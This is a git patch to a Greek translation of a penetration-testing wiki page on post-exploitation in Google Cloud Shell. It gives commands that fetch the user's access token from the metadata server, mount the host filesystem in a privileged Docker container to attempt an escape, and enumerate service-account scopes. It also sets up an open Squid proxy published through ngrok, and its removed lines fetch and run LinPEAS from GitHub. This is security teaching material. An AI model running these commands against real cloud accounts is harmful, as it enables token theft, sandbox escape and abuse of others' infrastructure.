From d5765fa779f9aa3a542b63a0d01a0f936e60eec1 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 8 Dec 2025 11:37:14 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/gcp-security/gcp-post-exploitation --- .../gcp-cloud-shell-post-exploitation.md | 84 ++++++++----------- 1 file changed, 36 insertions(+), 48 deletions(-) diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md index e011651b7..f75c051e2 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md @@ -10,40 +10,40 @@ ../gcp-services/gcp-cloud-shell-enum.md {{#endref}} -### Container Escape +### Λήψη token χρήστη από το metadata -Σημειώστε ότι το Google Cloud Shell τρέχει μέσα σε ένα container, μπορείτε **easily escape to the host** κάνοντας: +Απλά προσπελάζοντας τον metadata server μπορείτε να αποκτήσετε ένα token για πρόσβαση ως ο τρέχων συνδεδεμένος χρήστης: +```bash +wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" +``` +### Container Escape / Docker use + +> [!WARNING] +> Προηγουμένως το cloud shell εκτελούνταν σε container με πρόσβαση στο docker socket του host. Τώρα η Google έχει αλλάξει την αρχιτεκτονική και το cloud shell container τρέχει σε μια διάταξη "Docker in a container". Έτσι, ακόμα κι αν είναι δυνατή η χρήση του docker από το cloud shell, δεν θα μπορείτε να διαφύγετε στο host χρησιμοποιώντας το docker socket. +> Σημειώστε ότι προηγουμένως το `docker.sock` αρχείο βρισκόταν στο `/google/host/var/run/docker.sock` αλλά τώρα έχει μετακινηθεί στο `/run/docker.sock`.
-Container escape commands +Docker use / Old container escape commands ```bash -sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest -sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest -sudo docker -H unix:///google/host/var/run/docker.sock start escaper -sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh +sudo docker -H unix:///run/docker.sock pull alpine:latest +sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest +sudo docker -H unix:///run/docker.sock start escaper +sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh ```
-Αυτό δεν θεωρείται ευπάθεια από την google, αλλά σου δίνει μια ευρύτερη εικόνα του τι συμβαίνει σε εκείνο το env. - -Επιπλέον, σημείωσε ότι από τον host μπορείς να βρεις ένα service account token: +Επιπλέον, στο παρελθόν ήταν δυνατό να βρεθεί ένα token για ένα service account που χρησιμοποιούσε το cloud shell VM στον metadata server:
-Λήψη service account από metadata +Παλιό service account από το metadata ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" default/ vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/ ``` -
- -Με τα ακόλουθα scopes: - -
- -Λήψη scopes του service account +Με τα παρακάτω scopes: ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes" @@ -53,37 +53,25 @@ https://www.googleapis.com/auth/monitoring.write ```
-Απαρίθμηση μεταδεδομένων με LinPEAS: + + +### Χρησιμοποιήστε το ως Proxy + +Εάν θέλετε να χρησιμοποιήσετε το google cloud shell instance ως proxy, πρέπει να εκτελέσετε τις ακόλουθες εντολές (ή να τις εισαγάγετε στο αρχείο .bashrc):
-Απαρίθμηση μεταδεδομένων με LinPEAS -```bash -cd /tmp -wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -sh linpeas.sh -o cloud -``` -
- -Μετά τη χρήση [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) με το token του Service Account **δεν ανακαλύφθηκε καμία άδεια**... - -### Χρησιμοποίησέ το ως Proxy - -Αν θέλεις να χρησιμοποιήσεις το google cloud shell instance σου ως proxy πρέπει να εκτελέσεις τις ακόλουθες εντολές (ή να τις εισάγεις στο αρχείο .bashrc): - -
- -Install Squid proxy +Εγκαταστήστε το Squid proxy ```bash sudo apt install -y squid ```
-Για την ενημέρωσή σας, το Squid είναι ένας http proxy server. Δημιουργήστε ένα αρχείο **squid.conf** με τις ακόλουθες ρυθμίσεις: +Για την ενημέρωσή σου, ο Squid είναι ένας http proxy server. Δημιούργησε ένα **squid.conf** αρχείο με τις ακόλουθες ρυθμίσεις:
-Δημιουργήστε το αρχείο squid.conf +Create squid.conf file ```bash http_port 3128 cache_dir /var/cache/squid 100 16 256 @@ -92,43 +80,43 @@ http_access allow all ```
-Αντιγράψτε το αρχείο **squid.conf** στο **/etc/squid** +αντέγραψε το αρχείο **squid.conf** στο **/etc/squid**
-Αντιγράψτε τη διαμόρφωση στο /etc/squid +Αντέγραψε το config στο /etc/squid ```bash sudo cp squid.conf /etc/squid ```
-Τέλος, εκκινήστε την υπηρεσία squid: +Τέλος, εκτελέστε την υπηρεσία squid:
-Εκκίνηση υπηρεσίας Squid +Έναρξη υπηρεσίας squid ```bash sudo service squid start ```
-Χρησιμοποιήστε ngrok για να κάνετε τον proxy διαθέσιμο από εξωτερικό δίκτυο: +Χρησιμοποιήστε ngrok για να κάνετε το proxy διαθέσιμο από έξω:
-Κάντε τον proxy προσβάσιμο με ngrok +Κάντε το proxy διαθέσιμο με ngrok ```bash ./ngrok tcp 3128 ```
-Μετά την εκτέλεση, αντιγράψτε το tcp:// URL. Αν θέλετε να τρέξετε τον proxy από έναν browser, προτείνεται να αφαιρέσετε το tcp:// μέρος και το port και να εισάγετε το port στο πεδίο port των ρυθμίσεων proxy του browser σας (squid είναι ένας http proxy server). +Αφού το τρέξετε, αντιγράψτε το tcp:// url. Αν θέλετε να τρέξετε τον proxy από ένα browser, προτείνεται να αφαιρέσετε το tcp:// μέρος και το port και να βάλετε το port στο πεδίο port στις ρυθμίσεις proxy του browser σας (squid είναι ένας http proxy server). -Για καλύτερη χρήση κατά την εκκίνηση, το αρχείο .bashrc πρέπει να περιέχει τις παρακάτω γραμμές: +Για καλύτερη χρήση κατά την εκκίνηση, το αρχείο .bashrc θα πρέπει να έχει τις ακόλουθες γραμμές:
-Προσθήκη στο .bashrc για αυτόματη εκκίνηση +Προσθέστε στο .bashrc για αυτόματη εκκίνηση ```bash sudo apt install -y squid sudo cp squid.conf /etc/squid/ @@ -137,6 +125,6 @@ cd ngrok;./ngrok tcp 3128 ```
-Οι οδηγίες αντιγράφηκαν από [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Δείτε εκείνη τη σελίδα για άλλες τρελές ιδέες για να τρέξετε οποιοδήποτε λογισμικό (databases και ακόμη και windows) στο Cloud Shell. +Οι οδηγίες αντιγράφηκαν από [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Δείτε εκείνη τη σελίδα για άλλες τρελές ιδέες για να τρέξετε οποιονδήποτε τύπο λογισμικού (databases and even windows) στο Cloud Shell. {{#include ../../../banners/hacktricks-training.md}}